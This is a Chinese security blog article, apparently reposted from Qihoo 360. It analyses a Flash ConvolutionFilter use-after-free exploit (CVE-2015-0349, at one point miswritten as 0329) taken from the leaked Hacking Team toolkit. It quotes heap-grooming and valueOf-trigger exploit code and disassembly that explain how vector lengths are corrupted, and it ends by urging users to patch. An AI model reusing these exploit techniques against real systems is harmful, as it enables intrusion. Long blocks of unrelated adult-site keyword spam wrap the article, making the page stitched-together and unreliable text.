精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Hacking Team攻擊代碼分析Part 2: Pwn2Own漏洞

安全 黑客攻防
前一篇文章我們分析了HackingTeam泄露數(shù)據(jù)中的Flash 0day (bytearray 0day)。而在泄露數(shù)據(jù)中我們其實(shí)還看到了另外一個(gè)名為convolution_filter的flash exploit。

前一篇文章我們分析了HackingTeam泄露數(shù)據(jù)中的Flash 0day (bytearray 0day)。而在泄露數(shù)據(jù)中我們其實(shí)還看到了另外一個(gè)名為convolution_filter的flash exploit。

看了一下這個(gè)flash exploit,我很快意識(shí)到這個(gè)漏洞是一個(gè)已經(jīng)修補(bǔ)的漏洞cve-2015-0329,在今年4月份被修補(bǔ),這也解釋了readme文檔中,flash后面加了“(April 2015)”,意思是這個(gè)洞只能用到今年4月之前的flash版本中:

(https://helpx.adobe.com/cn/security/products/flash-player/apsb15-06.html)

我個(gè)人對(duì)這個(gè)漏洞印象比較深,看似平凡的它有個(gè)不平凡的故事,今年的pwn2own大賽中,前Vupen主力Nicolas Joly正是用這個(gè)漏洞拿下了64位Flash插件:

 

3

 

 

4

 

所以事情就變得很有趣了,一邊是Nico用這個(gè)漏洞打 Pwn2Own,另一邊HackingTeam(從常理推測(cè),應(yīng)該是通過(guò)其它渠道,和Nico無(wú)關(guān))也掌握了這個(gè)漏洞并將其用于自己的Exploit工具包中。

CVE-2015-0349原理分析

再回頭看一下CVE-2015-0349這個(gè)漏洞,這是一個(gè)ActionScript 3中ConvolutionFilter類的內(nèi)部matrix數(shù)組的一個(gè)Use After Free漏洞,這是個(gè)非常好用的漏洞,在32位和64位上都可以輕松實(shí)現(xiàn)穩(wěn)定利用。

我們來(lái)看一下HackingTeam泄露的exploit代碼,關(guān)鍵部分如下:

創(chuàng)建ConvolutionFilter對(duì)象:

// try to allocate two sequential pages of memory: [ matrix ][ MyClass2 ]
for(i=20; i < alen; i+=6){
a[i] = new Class2(i);
for(j=i+1; j < i+5; j++)
a[j] = new ConvolutionFilter(14,15);
a[i+5] = new Class2(i+5);
}

設(shè)置matrix

var m:Array = new Array(bLen);
m[0] = new Clasz;
m[1] = m[0];
try { filter.matrix = m; } catch (e:Error){}

這里有一個(gè)關(guān)鍵點(diǎn),filter.matrix被賦值為m(類型是 Array),而Array m的第一個(gè)元素是一個(gè)Clasz類,而Clasz類定義了valueOf方法,這個(gè)valueOf是漏洞觸發(fā)的關(guān)鍵點(diǎn):

public class Clasz
{
…
public function Clasz() { }
prototype.valueOf = function()
{
…
}

在Clasz的valueOf函數(shù)中,設(shè)置matrixX:

prototype.valueOf = function()
{
if (filter.matrixX > 14) throw new Error(“”); // check for the second valueOf() call
ref = new Array(5);
collect.push(ref); // protect from GC // for RnD
filter.matrixX = 15; // reallocate filter matrix
// reuse freed memory
for(var i:int; i < ref.length; i++) {
ref[i] = new Vector.;
ref[i].length = bLen;
}
// return value for vector length overwriting
return 2; // = 0x40000000 as single precision
}

事實(shí)上filter.matrixX = 15執(zhí)行完畢之后,ConvolutionFilter內(nèi)部的一個(gè)float數(shù)組(我們叫他matrixArray)就會(huì)被釋放,而從valueOf返回之后,已經(jīng)釋放的matrixArray還會(huì)繼續(xù)被使用,并且往里面寫入數(shù)據(jù),從而造成了Use-After-Free。我們可以看到valueOf函數(shù)中,在設(shè)置了filter.matrixX之后,分配了一系列的vector,這些vector就是用來(lái)占用釋放后的matrixArray的內(nèi)存的。這樣當(dāng)程序繼續(xù)往被釋放后的matrixArray里寫數(shù)據(jù)時(shí),實(shí)際上是在往vector對(duì)象里面寫數(shù)據(jù),從而達(dá)到修改vector長(zhǎng)度字段的目的,便于進(jìn)一步exploit。

細(xì)節(jié)分析

我們首先先介紹一下ConvolutionFilter的關(guān)鍵結(jié)構(gòu):

ConvolutionFilterObject {
+10 ConvolutionFilter {
+14 int matrixX;
+18 int matrixY;
+1C float *matrixArray;
+20 int matrixLength;
}
}

ConvolutionFilter里面有成員存放matrix矩陣,matrixX和matrixY代表矩陣的x和y,matrixArray是動(dòng)態(tài)分配的數(shù)組,其大小是由matrixX和matrixY決定的,關(guān)系如下:

matrixArray = alloc( matrixX * matrix * sizeof(float) )

當(dāng)matrixX和matrixY改變時(shí),如果原來(lái)的matrixArray大小不足以容納現(xiàn)在的容量,則舊的matrixArray會(huì)被釋放,然后分配新的matrixArray (UAF就是這么來(lái)的)

當(dāng)exploit代碼創(chuàng)建ConvolutionFilter時(shí),傳入的參數(shù)是matrixX=14,matrix=15:

a[j] = new ConvolutionFilter(14,15);

因此matrixArray初始大小為 14 * 15 * 4 = 840,然后我們看一下第二步,執(zhí)行

try { filter.matrix = m; } catch (e:Error){}

時(shí)發(fā)生了什么:

ConvolutionFilter::set_matrix基本上是直接調(diào)用了另外一個(gè)函數(shù),我們叫他set_matrix_internal:

.text:102E9604 loc_102E9604: ; CODE XREF: sub_102E95ED+Aj
.text:102E9604 push 14h
.text:102E9606 lea eax, [esi+24h]
.text:102E9609 push eax
.text:102E960A mov eax, [esi+8]
.text:102E960D mov ecx, [eax+4]
.text:102E9610 or edi, 1
.text:102E9613 push edi
.text:102E9614 call set_matrix_internal

調(diào)用該函數(shù)時(shí)參數(shù)如下:

set_matrix_internal( paramArray, matrixArray, matrixLength )

這里的關(guān)鍵點(diǎn)是:matrixArray直接作為參數(shù)被傳入。我們來(lái)看一下set_matrix_internal函數(shù),該函數(shù)的功能可以描述為:將paramArray(在exploit里面就是m這個(gè)數(shù)組)里面的每一項(xiàng)賦值給matrixArray中對(duì)應(yīng)的項(xiàng),由于matrixArray的類型為float *,因此如果有必要的話得把paramArray中的元素轉(zhuǎn)換成float,對(duì)應(yīng)邏輯的偽代碼如下:

for ( i = 0; I < matrixLength; ++ i ) {
matrixArray[i] = (float)ConvertToNumber(paramArray.get(i));
}

還記得我們的m[0]被設(shè)置成一個(gè)Clasz對(duì)象了嗎?

m[0] = new Clasz;

將Clasz對(duì)象轉(zhuǎn)換成Number的過(guò)程中,會(huì)調(diào)用Clasz對(duì)象的valueOf函數(shù),而前面已經(jīng)講過(guò),valueOf函數(shù)會(huì)設(shè)置filter.matrixX=15(原來(lái)的matrixX為14),此時(shí)由于matrixArray大小不夠,于是舊的matrixArray被釋放,新的matrixArray被分配。然后從valueOf返回到set_matrix_internal以后,程序繼續(xù)向matrixArray里面寫入值,注意這里用的還是舊的 matrixArray,于是UAF漏洞就這樣產(chǎn)生了。

又是valueOf

如果你看過(guò)我們前一篇分析bytearray 0day的文章,你可能對(duì)valueOf這個(gè)函數(shù)依然印象深刻。事實(shí)上這兩個(gè)洞無(wú)論是從產(chǎn)生原理,還是利用方式來(lái)講都非常的相近。背后隱藏的邏輯是腳本語(yǔ)言從native code回調(diào)到腳本層(通過(guò)toString, valueOf, event等等),還是很容易出現(xiàn)沒(méi)處理好而造成UAF等情況的發(fā)生。類似case已經(jīng)在chrome, IE, flash, java等等軟件中多次出現(xiàn),有心的讀者可以去留意一下。事實(shí)上這也是腳本語(yǔ)言漏洞挖掘中的一個(gè)值得切入的點(diǎn)。

漏洞防范

由于Adobe官方已針對(duì)此漏洞發(fā)布了安全更新,用戶只要及時(shí)升級(jí)就可避免受此漏洞影響。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 奇虎360公司技術(shù)博客
相關(guān)推薦

2014-03-24 17:54:25

2015-07-08 13:52:18

2009-05-12 09:01:50

2014-03-19 14:31:09

2013-03-08 09:17:58

2010-03-27 10:44:13

2015-07-08 10:35:17

2015-10-12 16:57:34

2015-03-22 09:22:51

2015-03-12 15:38:06

2011-03-11 09:41:53

2015-03-18 16:17:27

2009-03-20 17:11:35

2010-03-19 12:42:27

2015-03-19 10:35:55

2015-03-22 09:06:23

2010-03-29 10:04:11

2015-03-17 11:15:06

2014-07-10 10:14:45

2013-03-18 09:57:12

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

免费看一级大黄情大片| 99国产视频在线| 国产传媒在线看| av日韩一区| 亚洲一区二区精品3399| 日本不卡久久| 精品人妻久久久久一区二区三区| 影音先锋亚洲精品| 一区二区三区在线播放欧美| 最好看的中文字幕| 蜜桃视频成人m3u8| 亚洲一区二区在线免费观看视频| 免费精品视频一区二区三区| 国产伦理吴梦梦伦理| 免费亚洲婷婷| 欧美裸体xxxx极品少妇| 受虐m奴xxx在线观看| 日韩高清在线观看一区二区| 91久久久免费一区二区| 国产真实老熟女无套内射| www亚洲人| 9i在线看片成人免费| 国产日韩欧美黄色| 日韩电影在线观看一区二区| 久久久久国产| 中文字幕国产日韩| 久操视频免费看| 北条麻妃一区二区三区在线观看 | 午夜精品福利一区二区| 国内精品久久久久久久久久| 免费在线观看日韩欧美| 91av在线不卡| 精品小视频在线观看| 99热在线成人| 综合国产在线观看| 性猛交ⅹxxx富婆video| 日本精品影院| 亚洲第一精品夜夜躁人人爽 | 欧美超碰在线观看| 日韩一级网站| 国内精品久久久久久中文字幕| 欧美大片xxxx| 99久久影视| xvideos国产精品| 中文字幕欧美激情极品| 免费短视频成人日韩| 日韩精品在线视频| 精品人妻一区二区三区香蕉 | 国产乡下妇女做爰毛片| 午夜日韩福利| 久精品免费视频| 极品久久久久久| 亚洲一本二本| 欧美人与性动交a欧美精品| 免费在线观看一级片| 婷婷亚洲五月色综合| 日韩最新在线视频| 久草福利资源在线| 婷婷综合亚洲| 欧美成人免费在线视频| 麻豆国产尤物av尤物在线观看| 亚洲91精品| 欧美日韩成人黄色| 免费观看一级视频| 国产欧美丝祙| 国产成人精品a视频一区www| 亚洲图片欧美日韩| 久久国产精品一区二区| 91久久久久久久久久久久久| 99热这里只有精品在线| 国产91富婆露脸刺激对白| 国产a一区二区| 亚洲 欧美 精品| 久久免费的精品国产v∧| 秋霞在线观看一区二区三区| 亚洲s色大片| 一区二区三区日韩精品| 欧美精品自拍视频| 欧美精品日日操| 欧美日韩午夜在线视频| 国产裸体视频网站| 啪啪国产精品| 色婷婷久久一区二区| www.毛片com| 国产偷自视频区视频一区二区| 国产成人一区二区三区小说| 97国产成人无码精品久久久| 成人中文字幕在线| 日本在线观看一区二区三区| 国产黄色在线观看| 欧美视频13p| 中文字幕成人免费视频| 免费成人三级| 中文字幕不卡在线视频极品| 久久久精品人妻一区二区三区四| 另类激情亚洲| 亚洲自拍中文字幕| 蜜桃视频在线免费| 亚洲精品国产精华液| 日本一区二区黄色| 精品伊人久久| 国产一区av在线| 欧美日韩成人免费观看| 日韩精品午夜视频| 国产精品麻豆免费版| 国产福利电影在线| 亚洲成在线观看| 五月天av在线播放| 香蕉久久精品日日躁夜夜躁| 久久国产加勒比精品无码| 中文字幕超碰在线| 国产激情精品久久久第一区二区 | 日韩中字在线| 97国产真实伦对白精彩视频8| 在线免费a视频| 91网站黄www| 日产精品久久久久久久蜜臀| 成人亚洲免费| 亚洲区一区二区| 日本网站在线播放| 国产精品亚洲第一区在线暖暖韩国 | 一级片视频在线观看| 国产精品自拍网站| 亚洲7777| 二区三区不卡| 日韩精品免费综合视频在线播放| 情侣偷拍对白清晰饥渴难耐| 丝袜脚交一区二区| 久久久一本精品99久久精品| 视频在线观看入口黄最新永久免费国产| 欧洲另类一二三四区| 中文字幕日韩三级片| 欧美日韩理论| 91深夜福利视频| 思思99re6国产在线播放| 色综合欧美在线视频区| 自拍视频一区二区| 一区在线播放| 国产富婆一区二区三区| 欧美jizz18hd性欧美| 欧美色中文字幕| 久久午夜福利电影| 日本午夜精品视频在线观看| 欧美一级爱爱| 午夜精品成人av| 亚洲人成五月天| 久久久久久无码精品大片| 久久久国际精品| 少妇高潮喷水久久久久久久久久| 精品视频高潮| 欧美在线视频导航| 日本福利片在线| 色婷婷国产精品久久包臀 | 国产成人福利av| 欧美国产日韩二区| 乱精品一区字幕二区| 亚洲国产毛片aaaaa无费看| 日本精品一二三| 最新国产乱人伦偷精品免费网站| 国产精品一区二区欧美黑人喷潮水| 免费不卡av| 亚洲精品久久久久久久久久久久| 日韩经典在线观看| 久久亚洲欧美国产精品乐播 | 国产美女精品在线| av中文字幕av| 精品三级av| 热99在线视频| 色大18成网站www在线观看| 337p亚洲精品色噜噜噜| 欧美高清视频一区二区三区| 粉嫩av一区二区三区在线播放 | 国产成人亚洲综合a∨婷婷图片| 佐佐木明希av| 看全色黄大色大片免费久久久| 777午夜精品福利在线观看| 黑人与亚洲人色ⅹvideos| 欧美日韩国产区一| 久草视频在线资源| 久久香蕉国产线看观看99| 一区二区xxx| 欧美精品啪啪| 免费毛片一区二区三区久久久| 全球最大av网站久久| 美女性感视频久久久| 亚洲人在线观看视频| 欧美视频在线观看一区| 久草网站在线观看| 久久丝袜美腿综合| 久久综合桃花网| 先锋影音久久久| 国产系列第一页| 久久97精品| 国产中文字幕91| 偷拍自拍在线看| 精品国产一区二区在线| 日本精品一区二区在线观看| 欧美色涩在线第一页| 久久久国产精品黄毛片| 欧美国产精品v| 亚洲激情 欧美| 久久国产精品露脸对白| 干日本少妇首页| 欧美日韩日本国产亚洲在线| 日本一区二区三区www| 日韩高清在线观看一区二区| 国产精品久久久久久久av大片| 色婷婷av在线| 日韩在线观看免费网站| 亚洲欧洲国产综合| 精品少妇一区二区三区视频免付费| 无码人妻精品一区二区三区9厂| 亚洲欧美偷拍另类a∨色屁股| 波多野结衣av在线观看| 懂色av中文字幕一区二区三区| 91人人澡人人爽人人精品| 999亚洲国产精| 九九久久九九久久| 日韩专区精品| 欧美在线激情| 欧洲亚洲视频| 国产一区二区三区av在线| 蜜桃在线一区| 国产精品专区一| 欧美电影免费观看| 国外成人性视频| 在线免费观看的av| 久久精品人人做人人爽| 懂色一区二区三区| 日韩精品高清在线观看| 蜜臀久久精品久久久久| 日韩亚洲欧美中文三级| 国产精品高潮呻吟av| 欧美日韩一区中文字幕| 无码日韩精品一区二区| 欧美性生交xxxxxdddd| 日韩女同强女同hd| 亚洲成人手机在线| 国产一级aa大片毛片| 亚洲免费在线观看视频| 97精品在线播放| 国产精品不卡视频| 91制片厂在线| 亚洲色图另类专区| 国产成人综合在线视频| 最新日韩在线视频| 成人在线观看小视频| 亚洲欧美色一区| 欧美日韩免费做爰视频| 一区二区视频在线| 精品无码人妻一区二区三区品 | 国产精品久久久久久久久久久久久久久久久| 亚洲精品高清在线| 久久免费黄色网址| 亚洲午夜电影网| 日韩成人免费在线观看| 色综合夜色一区| 中文字幕一区二区人妻视频| 欧美伊人久久久久久午夜久久久久| 好吊色在线视频| 欧美午夜电影一区| 国产理论片在线观看| 日韩亚洲国产中文字幕欧美| 欧美特黄一级视频| 亚洲精选在线观看| 一本一道波多野毛片中文在线 | 日韩电影视频免费| 极品美乳网红视频免费在线观看| 国产一区二区三区18| 日本a级在线| 欧美激情xxxx| 亚洲精品mv| 国产精品综合网站| 一区二区三区自拍视频| 美日韩精品免费| 欧美jizz| 激情小视频网站| 久久久天天操| 亚洲综合123| 97精品电影院| 国产福利在线导航| 午夜精品久久久久影视| 日本一本在线观看| 日韩小视频在线观看专区| 五月天婷婷在线观看| 中文字幕不卡av| 1区2区在线| 国产视频福利一区| 国产精品白丝一区二区三区| 日本最新一区二区三区视频观看| 久久久久久久久久久久久久| 奇米精品一区二区三区| 精品一区二区三区蜜桃| 中文字幕av观看| 亚洲精品乱码久久久久久| 天天射天天干天天| 精品精品国产高清a毛片牛牛| 国产在线一在线二| 欧美激情在线观看| 国产精品黄色片| 久久久久一区二区三区| 中文字幕亚洲综合久久五月天色无吗''| 成人在线观看你懂的| 美女视频一区二区三区| 黄色性生活一级片| 亚洲精品va在线观看| 国产精品51麻豆cm传媒| 精品国产乱码久久久久久牛牛 | 成人性生交免费看| 91香蕉视频污在线| 欧美日韩激情在线观看| 欧美综合在线视频| 天堂中文在线8| 久久久视频精品| 欧美大片91| 欧美性视频在线播放| 毛片一区二区| 800av在线播放| 亚洲一区在线免费观看| 国产理论视频在线观看| 色妞色视频一区二区三区四区| 手机在线观看av| 国产日韩欧美一区二区三区四区| 911精品美国片911久久久| 国产精品igao| 久久精品亚洲一区二区三区浴池| 国产真实的和子乱拍在线观看| 欧美精品欧美精品系列| 99免在线观看免费视频高清| 国产不卡精品视男人的天堂| 欧洲亚洲一区二区三区| 欧美一级视频在线播放| 高清av一区二区| 中文字幕av免费在线观看| 91精品午夜视频| 麻豆传媒免费在线观看| 成人黄色av网站| 先锋资源久久| 久久久久久久久久毛片| 国产精品久久久久久久久快鸭| 凹凸精品一区二区三区| 国产一区二区三区四区福利| 欧美电影免费观看高清完整| 欧美日韩国产不卡在线看| 99亚洲视频| 日韩一级视频在线观看| 色哟哟国产精品| 国产视频第一区| 国产精品一区二区久久久| 成人高清av| 国内av一区二区| 亚洲狠狠丁香婷婷综合久久久| 国产乱叫456在线| 久久午夜a级毛片| 久久九九精品视频| 免费在线看黄色片| 成人成人成人在线视频| 日本在线视频免费| 精品亚洲aⅴ在线观看| 东京一区二区| 亚洲人成网站在线播放2019| 精品一区二区免费在线观看| 欧美黑吊大战白妞| 亚洲激情久久久| 第四色男人最爱上成人网| 一本色道婷婷久久欧美 | 91最新国产视频| 国产尤物精品| 成人免费av片| 欧美色手机在线观看| 午夜av在线播放| 极品日韩久久| 奇米一区二区三区| 免费国产羞羞网站美图| 亚洲精品一区二区三区四区高清 | 成人综合网网址| 好吊一区二区三区| 精品人妻一区二区三区香蕉 | 久久亚洲精品中文字幕蜜潮电影| 中文字幕 欧美日韩| 亚洲福利一区二区| 高清性色生活片在线观看| 91九色蝌蚪国产| 亚洲激情在线| 国产精品成人在线视频| 日韩一级免费观看| 中文字幕在线直播| 在线观看视频黄色| 91网址在线看| 国产精品无码专区av免费播放| 韩国三级日本三级少妇99| 欧美日韩在线网站| 中文字幕一区二区三区人妻在线视频| 五月激情综合色| 麻豆影院在线观看| 久久久久久99| 国产成人在线看| 中文字幕 亚洲视频| 97精品国产97久久久久久| 久久中文字幕av|